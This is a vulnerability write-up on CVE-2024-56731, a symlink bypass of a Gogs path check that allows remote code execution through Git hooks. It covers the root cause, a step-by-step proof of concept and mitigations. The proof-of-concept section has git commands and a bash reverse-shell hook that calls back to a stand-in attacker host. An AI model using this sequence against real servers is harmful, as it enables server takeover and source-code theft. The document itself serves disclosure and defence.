CVE-2024-56731: Critical RCE in Gogs via Symlink Patch Bypass
In the world of cybersecurity, we love a good sequel. Unfortunately for developers and system administrators, vulnerability sequels are the kind nobody asks for. Today, we're dissecting CVE-2024-56731, a critical vulnerability in the popular self-hosted Git service, Gogs. This bug is a classic case of a "patch bypass," where a fix for a previous vulnerability left a subtle but deadly door ajar, allowing attackers to achieve Remote Code Execution (RCE).
Grab your coffee, and let's dive into how a simple symbolic link (symlink) undid a security fix and put countless servers at risk.
TL;DR / Executive Summary
- Vulnerability: Remote Code Execution (RCE) in Gogs.
- CVE ID: CVE-2024-56731
- Affected Systems: Gogs versions up to and including
0.13.2
. - Severity: Critical. An unprivileged, authenticated user can execute arbitrary commands on the server with the permissions of the Gogs process.
- Root Cause: An insufficient patch for a prior vulnerability (CVE-2024-39931) failed to properly validate file paths. The patch blocked direct access to
.git
directories but didn't account for symbolic links pointing to them. This allows an attacker to use a symlink to bypass the check and delete or create files in sensitive locations, such as thehooks
directory, leading to RCE. - Basic Mitigation: Upgrade immediately to Gogs version
0.13.3
or later.
Introduction: The Patch That Cried Wolf
Picture this: you've identified a security flaw, your team has developed a patch, and you've deployed it. You breathe a sigh of relief. The fortress is secure again. But what if the patch was more of a scarecrow than a stone wall? What if it only looked intimidating but could be easily sidestepped by a clever attacker?
This is the story of CVE-2024-56731. It’s a direct descendant of a previous bug, CVE-2024-39931. Gogs is a fantastic, lightweight solution for hosting your own Git repositories, but like any software that manages file systems and executes commands (as Git does), it has a large attack surface. The .git
directory, in particular, is the nerve center of a repository. It contains configuration, object databases, and—most importantly for our story—hooks.
Git hooks are scripts that run automatically at certain points in the Git lifecycle, like after a push (post-receive
). If an attacker can control these scripts, they can execute any command they want on your server. The original vulnerability allowed attackers to mess with files inside .git
. The patch was supposed to stop that. As we'll see, it didn't quite stick the landing.
Technical Deep Dive: The Symlink Sleight of Hand
To understand this vulnerability, we first need to look at the patch that was supposed to fix its predecessor.
The Flawed Fix for CVE-2024-39931
The Gogs developers identified that letting users manipulate files inside the .git
directory was a bad idea. So, in commit 77a4a945ae9a
, they added a check to functions responsible for file operations, like DeleteRepoFile
.
Here's the code they added:
// File: internal/database/repo_editor.go
// 🚨 SECURITY: Prevent uploading files into the ".git" directory
if isRepositoryGitPath(opts.TreePath) {
return errors.Errorf("bad tree path %q", opts.TreePath)
}
On the surface, this looks reasonable. The isRepositoryGitPath
function checks if the provided file path (opts.TreePath
) contains the string .git
. If it does, the operation is rejected. Simple, right?
Too simple.
Root Cause Analysis: Checking the ID, Not the Person
This check has a classic flaw: it validates the path as a string but doesn't consider what the path represents on the actual filesystem. This is a type of Time-of-Check to Time-of-Use (TOCTOU) vulnerability. The check happens, it passes, but by the time the file system operation occurs, the path leads somewhere forbidden.
Let's use an analogy. Imagine a bouncer at an exclusive club called "The .git
Lounge." The bouncer's job is to keep unauthorized people out.
- The flawed check: The bouncer only looks at the name on your ticket. If your ticket says "Access
.git
Lounge," he tears it up and sends you away. - The attacker's trick: You show up with a ticket that says "Access
my-innocent-looking-directory
." The bouncer glances at it, sees nothing wrong, and waves you through. What he doesn't know is that your ticket is a magical teleporter. The moment you step past him, it sends you directly into the middle of the.git
Lounge.
The symbolic link is that magical ticket. The isRepositoryGitPath
function is the bouncer who only reads the ticket's name, and the file system is the magic that teleports you.
The Attack Vector
An attacker with a basic account on a vulnerable Gogs instance can exploit this with a few simple steps:
- Create a Symlink: The attacker creates a symbolic link within a repository they control. The symlink, let's call it
git-link
, points to the.git
directory of that same repository. They commit and push this symlink to the Gogs server. - Bypass the Check: The attacker then uses the Gogs API or web UI to delete a critical file, targeting a path like
git-link/hooks/post-receive
. The Gogs application sees this path. TheisRepositoryGitPath
check runs, finds no.git
string ingit-link/hooks/post-receive
, and gives the green light. - Delete the Hook: The application passes the path to the operating system's file deletion command. The OS follows the
git-link
symlink to the.git
directory and dutifully deletes the realpost-receive
hook file. - Plant the Malicious Hook: The attacker can now use the file creation feature to create a new file at
git-link/hooks/post-receive
. This time, the file contains their malicious payload (e.g., a reverse shell). - Trigger and Win: The attacker performs one final
git push
to the repository. The Gogs server triggers thepost-receive
event, executes the attacker's malicious script, and the server is compromised.
The business impact is severe. The attacker gains code execution as the RUN_USER
of the Gogs instance, giving them access to every single repository on the server. They can steal source code, inject backdoors, and use the compromised server as a pivot point to attack the internal network.
Proof of Concept: From Symlink to Shell
Here is a simplified, theoretical command sequence demonstrating the attack flow.
Assumptions:
- The attacker has an account on
gogs.example.com
. - The attacker's reverse shell listener is at
attacker-ip:4444
.
Step 1: Create and Push the Symlink
On the attacker's local machine:
# Clone a repository you own on the Gogs instance
git clone http://gogs.example.com/attacker/pwn-repo
cd pwn-repo
# Create a symbolic link named 'git-link' that points to the .git directory
ln -s .git git-link
# Add, commit, and push the symlink to the Gogs server
git add git-link
git commit -m "Add sneaky symlink"
git push origin main
Step 2: Delete the Original Hook via Gogs UI/API
The attacker would now use the Gogs interface to issue a DELETE
request for the file at path git-link/hooks/post-receive
in their pwn-repo
. This request succeeds because the path string doesn't contain .git
.
Step 3: Create the Malicious Hook
Next, the attacker uses the Gogs interface to create a new file.
- File Path:
git-link/hooks/post-receive
- File Content:
#!/bin/bash # I'm in your server, executing your codez bash -i >& /dev/tcp/attacker-ip/4444 0>&1
- Make it executable: The attacker also needs to ensure the file has execute permissions. Git preserves permissions, so they could
chmod +x
the file locally and push it, or find another way to set the permission.
Step 4: Trigger the Payload
The attacker just needs to trigger a post-receive
event. The easiest way is another push.
# On the attacker's local machine
touch new-file
git add new-file
git commit -m "Triggering the payload"
git push origin main
As soon as the push completes on the server, the malicious hook executes, and a reverse shell connects back to the attacker's listener. Game over.
Mitigation and Remediation
Patching this isn't just about adding another string check. It's about changing the validation strategy.
- Immediate Fix: Upgrade to Gogs
0.13.3
or a later version. The developers have released a proper patch that resolves this issue. Do not delay. - Long-Term Solution (The Real Fix): The correct way to fix this is to resolve the file path to its absolute, canonical form before performing any security checks. This means following all symlinks to find out where the path actually points. In Go, this can be done using functions like
filepath.EvalSymlinks
. The logic should be:- Receive the user-provided path (e.g.,
git-link/hooks/post-receive
). - Resolve it to its real path (e.g.,
/home/git/gogs-repositories/attacker/pwn-repo.git/hooks/post-receive
). - Now, perform the security check on the resolved path. The check for
.git
will now correctly identify the forbidden directory.
- Receive the user-provided path (e.g.,
- Verification: After upgrading, you can attempt the PoC again. The file deletion or creation operation targeting the symlinked path should now fail with an error, proving the patch is effective.
Timeline
- CVE-2024-39931 Patched: Sometime before this vulnerability was found.
- Discovery Date (CVE-2024-56731): Disclosed.
- Patch Availability: Gogs version
0.13.3
. - Public Disclosure: June 24, 2025.
Lessons Learned
This incident provides a few timeless security lessons.
- Prevention: Always Canonicalize Paths. Never trust a file path provided by a user. Before you use it for anything security-sensitive (access control, file operations), resolve it to its absolute, final destination. Symlinks are powerful tools for users but dangerous traps for unwary applications.
- Detection: Monitor Your Hooks. Your
.git/hooks
directory should be stable. Use a File Integrity Monitoring (FIM) tool to alert on any changes, especially deletions or creations of executable hook files. This could be your last line of defense. - Key Takeaway: Scrutinize Your Patches. A patch is only as good as its logic. When a fix is released, especially for a critical vulnerability, take a moment to understand how it works. A superficial fix, like a simple string check, is a red flag that a bypass might be just around the corner. True security comes from addressing the root cause, not just the symptoms.
Stay safe, and always check what's behind the symlink.
References and Further Reading
- Official Gogs Advisory: GHSA-wj44-9vcg-wjq7
- NVD Entry: CVE-2024-56731 (Link will be active upon publication)
- Original Flawed Patch Commit:
77a4a945ae9a
- OWASP: Path Traversal